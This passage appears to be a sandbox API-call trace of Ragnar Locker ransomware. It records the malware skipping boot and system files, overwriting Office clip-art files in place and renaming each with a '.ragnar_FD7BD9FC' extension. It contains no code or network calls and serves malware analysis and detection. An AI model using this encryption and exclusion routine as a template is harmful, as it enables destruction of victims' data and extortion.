Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF") returned=".WMF" [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="autorun.inf") returned 1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="boot.ini") returned 1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="bootfont.bin") returned 1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="bootsect.bak") returned 1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="bootmgr") returned 1 [0089.186] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="bootmgr.efi") returned 1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="desktop.ini") returned 1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="iconcache.db") returned 1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="ntldr") returned -1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="ntuser.dat") returned -1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="ntuser.ini") returned -1 [0089.187] lstrcmpiW (lpString1="NA02417_.WMF", lpString2="thumbs.db") returned -1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.187] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf")) returned 0x20 [0089.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.187] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2852) returned 1 [0089.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.188] GetProcessHeap () returned 0x580000 [0089.188] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.188] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.189] VirtualAlloc (lpAddress=0x0, dwSize=0xb24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.189] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb24, lpOverlapped=0x0) returned 1 [0089.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb24, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.190] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb24, lpOverlapped=0x0) returned 1 [0089.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.190] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.190] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.190] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.190] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.190] GetProcessHeap () returned 0x580000 [0089.190] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.190] CloseHandle (hObject=0xf4) returned 1 [0089.190] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" [0089.190] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ragnar_FD7BD9FC" [0089.191] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.191] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0089.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.191] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02423_.WMF" | out: lpString1="NA02423_.WMF") returned="NA02423_.WMF" [0089.192] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF") returned=".WMF" [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="autorun.inf") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="boot.ini") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="bootfont.bin") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="bootsect.bak") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="bootmgr") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="bootmgr.efi") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="desktop.ini") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="iconcache.db") returned 1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="ntldr") returned -1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="ntuser.dat") returned -1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="ntuser.ini") returned -1 [0089.192] lstrcmpiW (lpString1="NA02423_.WMF", lpString2="thumbs.db") returned -1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.192] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf")) returned 0x20 [0089.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.193] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12216) returned 1 [0089.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2faf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.193] GetProcessHeap () returned 0x580000 [0089.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.193] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2fb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.195] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2fb8, lpOverlapped=0x0) returned 1 [0089.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.196] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2fb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.196] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2fb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2fb8, lpOverlapped=0x0) returned 1 [0089.196] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.196] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.196] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.196] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.196] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.196] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.196] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.197] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.197] GetProcessHeap () returned 0x580000 [0089.197] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.197] CloseHandle (hObject=0xf4) returned 1 [0089.197] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" [0089.197] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ragnar_FD7BD9FC" [0089.197] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.197] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0089.198] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.198] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02424_.WMF" | out: lpString1="NA02424_.WMF") returned="NA02424_.WMF" [0089.198] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF") returned=".WMF" [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="autorun.inf") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="boot.ini") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="bootfont.bin") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="bootsect.bak") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="bootmgr") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="bootmgr.efi") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="desktop.ini") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="iconcache.db") returned 1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="ntldr") returned -1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="ntuser.dat") returned -1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="ntuser.ini") returned -1 [0089.198] lstrcmpiW (lpString1="NA02424_.WMF", lpString2="thumbs.db") returned -1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.198] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf")) returned 0x20 [0089.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.199] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1340) returned 1 [0089.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x533, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.200] GetProcessHeap () returned 0x580000 [0089.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.200] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.201] VirtualAlloc (lpAddress=0x0, dwSize=0x53c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.201] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x53c, lpOverlapped=0x0) returned 1 [0089.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.201] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.202] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x53c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x53c, lpOverlapped=0x0) returned 1 [0089.202] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.202] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.202] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x53c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.202] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.202] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.202] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.202] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.202] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.202] GetProcessHeap () returned 0x580000 [0089.202] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.202] CloseHandle (hObject=0xf4) returned 1 [0089.202] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" [0089.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ragnar_FD7BD9FC" [0089.203] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.203] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0089.203] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.203] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02426_.WMF" | out: lpString1="NA02426_.WMF") returned="NA02426_.WMF" [0089.203] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF") returned=".WMF" [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="autorun.inf") returned 1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="boot.ini") returned 1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="bootfont.bin") returned 1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="bootsect.bak") returned 1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="bootmgr") returned 1 [0089.203] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="bootmgr.efi") returned 1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="desktop.ini") returned 1 [0089.204] lstrcmpiW 